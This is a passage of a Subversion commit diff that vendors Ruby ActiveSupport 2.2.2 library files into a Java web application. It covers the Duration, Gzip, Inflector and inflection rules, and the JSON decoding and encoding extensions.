+        ActiveSupport::Deprecation.silence do
+          message_without_silenced_deprecation
+        end
+      end
+
+      alias_method_chain :message, :silenced_deprecation
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/duration.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/duration.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/duration.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,96 @@
+module ActiveSupport
+  # Provides accurate date and time measurements using Date#advance and 
+  # Time#advance, respectively. It mainly supports the methods on Numeric,
+  # such as in this example:
+  #
+  #   1.month.ago       # equivalent to Time.now.advance(:months => -1)
+  class Duration < BasicObject
+    attr_accessor :value, :parts
+
+    def initialize(value, parts) #:nodoc:
+      @value, @parts = value, parts
+    end
+
+    # Adds another Duration or a Numeric to this Duration. Numeric values
+    # are treated as seconds.
+    def +(other)
+      if Duration === other
+        Duration.new(value + other.value, @parts + other.parts)
+      else
+        Duration.new(value + other, @parts + [[:seconds, other]])
+      end
+    end
+
+    # Subtracts another Duration or a Numeric from this Duration. Numeric
+    # values are treated as seconds.
+    def -(other)
+      self + (-other)
+    end
+
+    def -@ #:nodoc:
+      Duration.new(-value, parts.map { |type,number| [type, -number] })
+    end
+
+    def is_a?(klass) #:nodoc:
+      klass == Duration || super
+    end
+
+    # Returns true if <tt>other</tt> is also a Duration instance with the
+    # same <tt>value</tt>, or if <tt>other == value</tt>.
+    def ==(other)
+      if Duration === other
+        other.value == value
+      else
+        other == value
+      end
+    end
+
+    def self.===(other) #:nodoc:
+      other.is_a?(Duration) rescue super
+    end
+
+    # Calculates a new Time or Date that is as far in the future
+    # as this Duration represents.
+    def since(time = ::Time.current)
+      sum(1, time)
+    end
+    alias :from_now :since
+
+    # Calculates a new Time or Date that is as far in the past
+    # as this Duration represents.
+    def ago(time = ::Time.current)
+      sum(-1, time)
+    end
+    alias :until :ago
+
+    def inspect #:nodoc:
+      consolidated = parts.inject(::Hash.new(0)) { |h,part| h[part.first] += part.last; h }
+      [:years, :months, :days, :minutes, :seconds].map do |length|
+        n = consolidated[length]
+        "#{n} #{n == 1 ? length.to_s.singularize : length.to_s}" if n.nonzero?
+      end.compact.to_sentence
+    end
+
+    protected
+
+      def sum(sign, time = ::Time.current) #:nodoc:
+        parts.inject(time) do |t,(type,number)|
+          if t.acts_like?(:time) || t.acts_like?(:date)
+            if type == :seconds
+              t.since(sign * number)
+            else
+              t.advance(type => sign * number)
+            end
+          else
+            raise ::ArgumentError, "expected a time or date, got #{time.inspect}"
+          end
+        end
+      end
+
+    private
+
+      def method_missing(method, *args, &block) #:nodoc:
+        value.send(method, *args)
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/gzip.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/gzip.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/gzip.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,25 @@
+require 'zlib'
+require 'stringio'
+
+module ActiveSupport
+  # A convenient wrapper for the zlib standard library that allows compression/decompression of strings with gzip.
+  module Gzip
+    class Stream < StringIO
+      def close; rewind; end
+    end
+
+    # Decompresses a gzipped string.
+    def self.decompress(source)
+      Zlib::GzipReader.new(StringIO.new(source)).read
+    end
+
+    # Compresses a string using gzip.
+    def self.compress(source)
+      output = Stream.new
+      gz = Zlib::GzipWriter.new(output)
+      gz.write(source)
+      gz.close
+      output.string
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/inflections.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/inflections.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/inflections.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,55 @@
+module ActiveSupport
+  Inflector.inflections do |inflect|
+    inflect.plural(/$/, 's')
+    inflect.plural(/s$/i, 's')
+    inflect.plural(/(ax|test)is$/i, '\1es')
+    inflect.plural(/(octop|vir)us$/i, '\1i')
+    inflect.plural(/(alias|status)$/i, '\1es')
+    inflect.plural(/(bu)s$/i, '\1ses')
+    inflect.plural(/(buffal|tomat)o$/i, '\1oes')
+    inflect.plural(/([ti])um$/i, '\1a')
+    inflect.plural(/sis$/i, 'ses')
+    inflect.plural(/(?:([^f])fe|([lr])f)$/i, '\1\2ves')
+    inflect.plural(/(hive)$/i, '\1s')
+    inflect.plural(/([^aeiouy]|qu)y$/i, '\1ies')
+    inflect.plural(/(x|ch|ss|sh)$/i, '\1es')
+    inflect.plural(/(matr|vert|ind)(?:ix|ex)$/i, '\1ices')
+    inflect.plural(/([m|l])ouse$/i, '\1ice')
+    inflect.plural(/^(ox)$/i, '\1en')
+    inflect.plural(/(quiz)$/i, '\1zes')
+
+    inflect.singular(/s$/i, '')
+    inflect.singular(/(n)ews$/i, '\1ews')
+    inflect.singular(/([ti])a$/i, '\1um')
+    inflect.singular(/((a)naly|(b)a|(d)iagno|(p)arenthe|(p)rogno|(s)ynop|(t)he)ses$/i, '\1\2sis')
+    inflect.singular(/(^analy)ses$/i, '\1sis')
+    inflect.singular(/([^f])ves$/i, '\1fe')
+    inflect.singular(/(hive)s$/i, '\1')
+    inflect.singular(/(tive)s$/i, '\1')
+    inflect.singular(/([lr])ves$/i, '\1f')
+    inflect.singular(/([^aeiouy]|qu)ies$/i, '\1y')
+    inflect.singular(/(s)eries$/i, '\1eries')
+    inflect.singular(/(m)ovies$/i, '\1ovie')
+    inflect.singular(/(x|ch|ss|sh)es$/i, '\1')
+    inflect.singular(/([m|l])ice$/i, '\1ouse')
+    inflect.singular(/(bus)es$/i, '\1')
+    inflect.singular(/(o)es$/i, '\1')
+    inflect.singular(/(shoe)s$/i, '\1')
+    inflect.singular(/(cris|ax|test)es$/i, '\1is')
+    inflect.singular(/(octop|vir)i$/i, '\1us')
+    inflect.singular(/(alias|status)es$/i, '\1')
+    inflect.singular(/^(ox)en/i, '\1')
+    inflect.singular(/(vert|ind)ices$/i, '\1ex')
+    inflect.singular(/(matr)ices$/i, '\1ix')
+    inflect.singular(/(quiz)zes$/i, '\1')
+
+    inflect.irregular('person', 'people')
+    inflect.irregular('man', 'men')
+    inflect.irregular('child', 'children')
+    inflect.irregular('sex', 'sexes')
+    inflect.irregular('move', 'moves')
+    inflect.irregular('cow', 'kine')
+
+    inflect.uncountable(%w(equipment information rice money species series fish sheep))
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/inflector.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/inflector.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/inflector.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,397 @@
+# encoding: utf-8
+require 'singleton'
+require 'iconv'
+
+module ActiveSupport
+  # The Inflector transforms words from singular to plural, class names to table names, modularized class names to ones without,
+  # and class names to foreign keys. The default inflections for pluralization, singularization, and uncountable words are kept
+  # in inflections.rb.
+  #
+  # The Rails core team has stated patches for the inflections library will not be accepted
+  # in order to avoid breaking legacy applications which may be relying on errant inflections.
+  # If you discover an incorrect inflection and require it for your application, you'll need
+  # to correct it yourself (explained below).
+  module Inflector
+    extend self
+
+    # A singleton instance of this class is yielded by Inflector.inflections, which can then be used to specify additional
+    # inflection rules. Examples:
+    #
+    #   ActiveSupport::Inflector.inflections do |inflect|
+    #     inflect.plural /^(ox)$/i, '\1\2en'
+    #     inflect.singular /^(ox)en/i, '\1'
+    #
+    #     inflect.irregular 'octopus', 'octopi'
+    #
+    #     inflect.uncountable "equipment"
+    #   end
+    #
+    # New rules are added at the top. So in the example above, the irregular rule for octopus will now be the first of the
+    # pluralization and singularization rules that is runs. This guarantees that your rules run before any of the rules that may
+    # already have been loaded.
+    class Inflections
+      include Singleton
+
+      attr_reader :plurals, :singulars, :uncountables, :humans
+
+      def initialize
+        @plurals, @singulars, @uncountables, @humans = [], [], [], []
+      end
+
+      # Specifies a new pluralization rule and its replacement. The rule can either be a string or a regular expression.
+      # The replacement should always be a string that may include references to the matched data from the rule.
+      def plural(rule, replacement)
+        @uncountables.delete(rule) if rule.is_a?(String)
+        @uncountables.delete(replacement)
+        @plurals.insert(0, [rule, replacement])
+      end
+
+      # Specifies a new singularization rule and its replacement. The rule can either be a string or a regular expression.
+      # The replacement should always be a string that may include references to the matched data from the rule.
+      def singular(rule, replacement)
+        @uncountables.delete(rule) if rule.is_a?(String)
+        @uncountables.delete(replacement)
+        @singulars.insert(0, [rule, replacement])
+      end
+
+      # Specifies a new irregular that applies to both pluralization and singularization at the same time. This can only be used
+      # for strings, not regular expressions. You simply pass the irregular in singular and plural form.
+      #
+      # Examples:
+      #   irregular 'octopus', 'octopi'
+      #   irregular 'person', 'people'
+      def irregular(singular, plural)
+        @uncountables.delete(singular)
+        @uncountables.delete(plural)
+        if singular[0,1].upcase == plural[0,1].upcase
+          plural(Regexp.new("(#{singular[0,1]})#{singular[1..-1]}$", "i"), '\1' + plural[1..-1])
+          singular(Regexp.new("(#{plural[0,1]})#{plural[1..-1]}$", "i"), '\1' + singular[1..-1])
+        else
+          plural(Regexp.new("#{singular[0,1].upcase}(?i)#{singular[1..-1]}$"), plural[0,1].upcase + plural[1..-1])
+          plural(Regexp.new("#{singular[0,1].downcase}(?i)#{singular[1..-1]}$"), plural[0,1].downcase + plural[1..-1])
+          singular(Regexp.new("#{plural[0,1].upcase}(?i)#{plural[1..-1]}$"), singular[0,1].upcase + singular[1..-1])
+          singular(Regexp.new("#{plural[0,1].downcase}(?i)#{plural[1..-1]}$"), singular[0,1].downcase + singular[1..-1])
+        end
+      end
+
+      # Add uncountable words that shouldn't be attempted inflected.
+      #
+      # Examples:
+      #   uncountable "money"
+      #   uncountable "money", "information"
+      #   uncountable %w( money information rice )
+      def uncountable(*words)
+        (@uncountables << words).flatten!
+      end
+
+      # Specifies a humanized form of a string by a regular expression rule or by a string mapping.
+      # When using a regular expression based replacement, the normal humanize formatting is called after the replacement.
+      # When a string is used, the human form should be specified as desired (example: 'The name', not 'the_name')
+      #
+      # Examples:
+      #   human /_cnt$/i, '\1_count'
+      #   human "legacy_col_person_name", "Name"
+      def human(rule, replacement)
+        @humans.insert(0, [rule, replacement])
+      end
+
+      # Clears the loaded inflections within a given scope (default is <tt>:all</tt>).
+      # Give the scope as a symbol of the inflection type, the options are: <tt>:plurals</tt>,
+      # <tt>:singulars</tt>, <tt>:uncountables</tt>, <tt>:humans</tt>.
+      #
+      # Examples:
+      #   clear :all
+      #   clear :plurals
+      def clear(scope = :all)
+        case scope
+          when :all
+            @plurals, @singulars, @uncountables = [], [], []
+          else
+            instance_variable_set "@#{scope}", []
+        end
+      end
+    end
+
+    # Yields a singleton instance of Inflector::Inflections so you can specify additional
+    # inflector rules.
+    #
+    # Example:
+    #   ActiveSupport::Inflector.inflections do |inflect|
+    #     inflect.uncountable "rails"
+    #   end
+    def inflections
+      if block_given?
+        yield Inflections.instance
+      else
+        Inflections.instance
+      end
+    end
+
+    # Returns the plural form of the word in the string.
+    #
+    # Examples:
+    #   "post".pluralize             # => "posts"
+    #   "octopus".pluralize          # => "octopi"
+    #   "sheep".pluralize            # => "sheep"
+    #   "words".pluralize            # => "words"
+    #   "CamelOctopus".pluralize     # => "CamelOctopi"
+    def pluralize(word)
+      result = word.to_s.dup
+
+      if word.empty? || inflections.uncountables.include?(result.downcase)
+        result
+      else
+        inflections.plurals.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }
+        result
+      end
+    end
+
+    # The reverse of +pluralize+, returns the singular form of a word in a string.
+    #
+    # Examples:
+    #   "posts".singularize            # => "post"
+    #   "octopi".singularize           # => "octopus"
+    #   "sheep".singluarize            # => "sheep"
+    #   "word".singularize             # => "word"
+    #   "CamelOctopi".singularize      # => "CamelOctopus"
+    def singularize(word)
+      result = word.to_s.dup
+
+      if inflections.uncountables.include?(result.downcase)
+        result
+      else
+        inflections.singulars.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }
+        result
+      end
+    end
+
+    # By default, +camelize+ converts strings to UpperCamelCase. If the argument to +camelize+
+    # is set to <tt>:lower</tt> then +camelize+ produces lowerCamelCase.
+    #
+    # +camelize+ will also convert '/' to '::' which is useful for converting paths to namespaces.
+    #
+    # Examples:
+    #   "active_record".camelize                # => "ActiveRecord"
+    #   "active_record".camelize(:lower)        # => "activeRecord"
+    #   "active_record/errors".camelize         # => "ActiveRecord::Errors"
+    #   "active_record/errors".camelize(:lower) # => "activeRecord::Errors"
+    def camelize(lower_case_and_underscored_word, first_letter_in_uppercase = true)
+      if first_letter_in_uppercase
+        lower_case_and_underscored_word.to_s.gsub(/\/(.?)/) { "::#{$1.upcase}" }.gsub(/(?:^|_)(.)/) { $1.upcase }
+      else
+        lower_case_and_underscored_word.first.downcase + camelize(lower_case_and_underscored_word)[1..-1]
+      end
+    end
+
+    # Capitalizes all the words and replaces some characters in the string to create
+    # a nicer looking title. +titleize+ is meant for creating pretty output. It is not
+    # used in the Rails internals.
+    #
+    # +titleize+ is also aliased as as +titlecase+.
+    #
+    # Examples:
+    #   "man from the boondocks".titleize # => "Man From The Boondocks"
+    #   "x-men: the last stand".titleize  # => "X Men: The Last Stand"
+    def titleize(word)
+      humanize(underscore(word)).gsub(/\b('?[a-z])/) { $1.capitalize }
+    end
+
+    # The reverse of +camelize+. Makes an underscored, lowercase form from the expression in the string.
+    #
+    # Changes '::' to '/' to convert namespaces to paths.
+    #
+    # Examples:
+    #   "ActiveRecord".underscore         # => "active_record"
+    #   "ActiveRecord::Errors".underscore # => active_record/errors
+    def underscore(camel_cased_word)
+      camel_cased_word.to_s.gsub(/::/, '/').
+        gsub(/([A-Z]+)([A-Z][a-z])/,'\1_\2').
+        gsub(/([a-z\d])([A-Z])/,'\1_\2').
+        tr("-", "_").
+        downcase
+    end
+
+    # Replaces underscores with dashes in the string.
+    #
+    # Example:
+    #   "puni_puni" # => "puni-puni"
+    def dasherize(underscored_word)
+      underscored_word.gsub(/_/, '-')
+    end
+
+    # Capitalizes the first word and turns underscores into spaces and strips a
+    # trailing "_id", if any. Like +titleize+, this is meant for creating pretty output.
+    #
+    # Examples:
+    #   "employee_salary" # => "Employee salary"
+    #   "author_id"       # => "Author"
+    def humanize(lower_case_and_underscored_word)
+      result = lower_case_and_underscored_word.to_s.dup
+
+      inflections.humans.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }
+      result.gsub(/_id$/, "").gsub(/_/, " ").capitalize
+    end
+
+    # Removes the module part from the expression in the string.
+    #
+    # Examples:
+    #   "ActiveRecord::CoreExtensions::String::Inflections".demodulize # => "Inflections"
+    #   "Inflections".demodulize                                       # => "Inflections"
+    def demodulize(class_name_in_module)
+      class_name_in_module.to_s.gsub(/^.*::/, '')
+    end
+
+    # Replaces special characters in a string so that it may be used as part of a 'pretty' URL.
+    #
+    # ==== Examples
+    #
+    #   class Person
+    #     def to_param
+    #       "#{id}-#{name.parameterize}"
+    #     end
+    #   end
+    #
+    #   @person = Person.find(1)
+    #   # => #<Person id: 1, name: "Donald E. Knuth">
+    #
+    #   <%= link_to(@person.name, person_path %>
+    #   # => <a href="/person/1-donald-e-knuth">Donald E. Knuth</a>
+    def parameterize(string, sep = '-')
+      re_sep = Regexp.escape(sep)
+      # replace accented chars with ther ascii equivalents
+      parameterized_string = transliterate(string)
+      # Turn unwanted chars into the seperator
+      parameterized_string.gsub!(/[^a-z0-9\-_\+]+/i, sep)
+      # No more than one of the separator in a row.
+      parameterized_string.squeeze!(sep)
+      # Remove leading/trailing separator.
+      parameterized_string.gsub!(/^#{re_sep}|#{re_sep}$/i, '')
+      parameterized_string.downcase
+    end
+
+
+    # Replaces accented characters with their ascii equivalents.
+    def transliterate(string)
+      Iconv.iconv('ascii//ignore//translit', 'utf-8', string).to_s
+    end
+
+    # The iconv transliteration code doesn't function correctly
+    # on some platforms, but it's very fast where it does function.
+    if "foo" != Inflector.transliterate("föö")
+      undef_method :transliterate
+      def transliterate(string)
+        string.mb_chars.normalize(:kd). # Decompose accented characters
+          gsub(/[^\x00-\x7F]+/, '')     # Remove anything non-ASCII entirely (e.g. diacritics).
+      end
+    end
+
+    # Create the name of a table like Rails does for models to table names. This method
+    # uses the +pluralize+ method on the last word in the string.
+    #
+    # Examples
+    #   "RawScaledScorer".tableize # => "raw_scaled_scorers"
+    #   "egg_and_ham".tableize     # => "egg_and_hams"
+    #   "fancyCategory".tableize   # => "fancy_categories"
+    def tableize(class_name)
+      pluralize(underscore(class_name))
+    end
+
+    # Create a class name from a plural table name like Rails does for table names to models.
+    # Note that this returns a string and not a Class. (To convert to an actual class
+    # follow +classify+ with +constantize+.)
+    #
+    # Examples:
+    #   "egg_and_hams".classify # => "EggAndHam"
+    #   "posts".classify        # => "Post"
+    #
+    # Singular names are not handled correctly:
+    #   "business".classify     # => "Busines"
+    def classify(table_name)
+      # strip out any leading schema name
+      camelize(singularize(table_name.to_s.sub(/.*\./, '')))
+    end
+
+    # Creates a foreign key name from a class name.
+    # +separate_class_name_and_id_with_underscore+ sets whether
+    # the method should put '_' between the name and 'id'.
+    #
+    # Examples:
+    #   "Message".foreign_key        # => "message_id"
+    #   "Message".foreign_key(false) # => "messageid"
+    #   "Admin::Post".foreign_key    # => "post_id"
+    def foreign_key(class_name, separate_class_name_and_id_with_underscore = true)
+      underscore(demodulize(class_name)) + (separate_class_name_and_id_with_underscore ? "_id" : "id")
+    end
+
+    # Ruby 1.9 introduces an inherit argument for Module#const_get and
+    # #const_defined? and changes their default behavior.
+    if Module.method(:const_get).arity == 1
+      # Tries to find a constant with the name specified in the argument string:
+      #
+      #   "Module".constantize     # => Module
+      #   "Test::Unit".constantize # => Test::Unit
+      #
+      # The name is assumed to be the one of a top-level constant, no matter whether
+      # it starts with "::" or not. No lexical context is taken into account:
+      #
+      #   C = 'outside'
+      #   module M
+      #     C = 'inside'
+      #     C               # => 'inside'
+      #     "C".constantize # => 'outside', same as ::C
+      #   end
+      #
+      # NameError is raised when the name is not in CamelCase or the constant is
+      # unknown.
+      def constantize(camel_cased_word)
+        names = camel_cased_word.split('::')
+        names.shift if names.empty? || names.first.empty?
+
+        constant = Object
+        names.each do |name|
+          constant = constant.const_defined?(name) ? constant.const_get(name) : constant.const_missing(name)
+        end
+        constant
+      end
+    else
+      def constantize(camel_cased_word) #:nodoc:
+        names = camel_cased_word.split('::')
+        names.shift if names.empty? || names.first.empty?
+
+        constant = Object
+        names.each do |name|
+          constant = constant.const_get(name, false) || constant.const_missing(name)
+        end
+        constant
+      end
+    end
+
+    # Turns a number into an ordinal string used to denote the position in an
+    # ordered sequence such as 1st, 2nd, 3rd, 4th.
+    #
+    # Examples:
+    #   ordinalize(1)     # => "1st"
+    #   ordinalize(2)     # => "2nd"
+    #   ordinalize(1002)  # => "1002nd"
+    #   ordinalize(1003)  # => "1003rd"
+    def ordinalize(number)
+      if (11..13).include?(number.to_i % 100)
+        "#{number}th"
+      else
+        case number.to_i % 10
+          when 1; "#{number}st"
+          when 2; "#{number}nd"
+          when 3; "#{number}rd"
+          else    "#{number}th"
+        end
+      end
+    end
+  end
+end
+
+# in case active_support/inflector is required without the rest of active_support
+require 'active_support/inflections'
+require 'active_support/core_ext/string/inflections'
+unless String.included_modules.include?(ActiveSupport::CoreExtensions::String::Inflections)
+  String.send :include, ActiveSupport::CoreExtensions::String::Inflections
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/decoding.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/decoding.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/decoding.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,63 @@
+require 'yaml'
+require 'strscan'
+
+module ActiveSupport
+  module JSON
+    class ParseError < StandardError
+    end
+    
+    class << self
+      # Converts a JSON string into a Ruby object.
+      def decode(json)
+        YAML.load(convert_json_to_yaml(json))
+      rescue ArgumentError => e
+        raise ParseError, "Invalid JSON string"
+      end
+      
+      protected
+        # matches YAML-formatted dates
+        DATE_REGEX = /^\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[ \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?)?$/
+
+        # Ensure that ":" and "," are always followed by a space
+        def convert_json_to_yaml(json) #:nodoc:
+          scanner, quoting, marks, pos, times = StringScanner.new(json), false, [], nil, []
+          while scanner.scan_until(/(\\['"]|['":,\\]|\\.)/)
+            case char = scanner[1]
+            when '"', "'"
+              if !quoting
+                quoting = char
+                pos = scanner.pos
+              elsif quoting == char
+                if json[pos..scanner.pos-2] =~ DATE_REGEX
+                  # found a date, track the exact positions of the quotes so we can remove them later.
+                  # oh, and increment them for each current mark, each one is an extra padded space that bumps
+                  # the position in the final YAML output
+                  total_marks = marks.size
+                  times << pos+total_marks << scanner.pos+total_marks
+                end
+                quoting = false
+              end
+            when ":",","
+              marks << scanner.pos - 1 unless quoting
+            end
+          end
+
+          if marks.empty?
+            json.gsub(/\\\//, '/')
+          else
+            left_pos  = [-1].push(*marks)
+            right_pos = marks << json.length
+            output    = []
+            left_pos.each_with_index do |left, i|
+              output << json[left.succ..right_pos[i]]
+            end
+            output = output * " "
+            
+            times.each { |i| output[i-1] = ' ' }
+            output.gsub!(/\\\//, '/')
+            output
+          end
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/date.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/date.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/date.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,21 @@
+class Date
+  # Returns a JSON string representing the date. If ActiveSupport.use_standard_json_time_format is set to true, the
+  # ISO 8601 format is used.
+  #
+  # ==== Examples:
+  #
+  #   # With ActiveSupport.use_standard_json_time_format = true
+  #   Date.new(2005,2,1).to_json
+  #   # => "2005-02-01"
+  #
+  #   # With ActiveSupport.use_standard_json_time_format = false
+  #   Date.new(2005,2,1).to_json
+  #   # => "2005/02/01"
+  def to_json(options = nil)
+    if ActiveSupport.use_standard_json_time_format
+      %("#{strftime("%Y-%m-%d")}")
+    else
+      %("#{strftime("%Y/%m/%d")}")
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/date_time.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/date_time.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/date_time.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,21 @@
+class DateTime
+  # Returns a JSON string representing the datetime. If ActiveSupport.use_standard_json_time_format is set to true, the
+  # ISO 8601 format is used.
+  #
+  # ==== Examples:
+  #
+  #   # With ActiveSupport.use_standard_json_time_format = true
+  #   DateTime.civil(2005,2,1,15,15,10).to_json
+  #   # => "2005-02-01T15:15:10+00:00"
+  #
+  #   # With ActiveSupport.use_standard_json_time_format = false
+  #   DateTime.civil(2005,2,1,15,15,10).to_json
+  #   # => "2005/02/01 15:15:10 +0000"
+  def to_json(options = nil)
+    if ActiveSupport.use_standard_json_time_format
+      xmlschema.inspect
+    else
+      strftime('"%Y/%m/%d %H:%M:%S %z"')
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/enumerable.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/enumerable.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/enumerable.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+module Enumerable
+  # Returns a JSON string representing the enumerable. Any +options+
+  # given will be passed on to its elements. For example:
+  #
+  #   users = User.find(:all)
+  #   # => users.to_json(:only => :name)
+  #
+  # will pass the <tt>:only => :name</tt> option to each user.
+  def to_json(options = {}) #:nodoc:
+    "[#{map { |value| ActiveSupport::JSON.encode(value, options) } * ', '}]"
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/false_class.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/false_class.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/false_class.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+class FalseClass
+  def to_json(options = nil) #:nodoc:
+    'false'
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/hash.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/hash.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/hash.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,47 @@
+class Hash
+  # Returns a JSON string representing the hash.
+  #
+  # Without any +options+, the returned JSON string will include all
+  # the hash keys. For example:
+  #
+  #   { :name => "Konata Izumi", 'age' => 16, 1 => 2 }.to_json
+  #   # => {"name": "Konata Izumi", 1: 2, "age": 16}
+  #
+  # The keys in the JSON string are unordered due to the nature of hashes.
+  #
+  # The <tt>:only</tt> and <tt>:except</tt> options can be used to limit the
+  # attributes included, and will accept 1 or more hash keys to include/exclude.
+  #
+  #   { :name => "Konata Izumi", 'age' => 16, 1 => 2 }.to_json(:only => [:name, 'age'])
+  #   # => {"name": "Konata Izumi", "age": 16}
+  #
+  #   { :name => "Konata Izumi", 'age' => 16, 1 => 2 }.to_json(:except => 1)
+  #   # => {"name": "Konata Izumi", "age": 16}
+  #
+  # The +options+ also filter down to any hash values. This is particularly
+  # useful for converting hashes containing ActiveRecord objects or any object
+  # that responds to options in their <tt>to_json</tt> method. For example:
+  #
+  #   users = User.find(:all)
+  #   { :users => users, :count => users.size }.to_json(:include => :posts)
+  #
+  # would pass the <tt>:include => :posts</tt> option to <tt>users</tt>,
+  # allowing the posts association in the User model to be converted to JSON
+  # as well.
+  def to_json(options = {}) #:nodoc:
+    hash_keys = self.keys
+
+    if options[:except]
+      hash_keys = hash_keys - Array(options[:except])
+    elsif options[:only]
+      hash_keys = hash_keys & Array(options[:only])
+    end
+
+    returning result = '{' do
+      result << hash_keys.map do |key|
+        "#{ActiveSupport::JSON.encode(key)}: #{ActiveSupport::JSON.encode(self[key], options)}"
+      end * ', '
+      result << '}'
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/nil_class.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/nil_class.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/nil_class.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+class NilClass
+  def to_json(options = nil) #:nodoc:
+    'null'
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/numeric.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/numeric.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/numeric.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+class Numeric
+  def to_json(options = nil) #:nodoc:
+    to_s
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/object.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/object.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders/object.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+class Object
+  # Dumps object in JSON (JavaScript Object Notation). See www.json.org for more info.
+  def to_json(options = {})
+    ActiveSupport::JSON.encode(instance_values, options)
+  end
+end

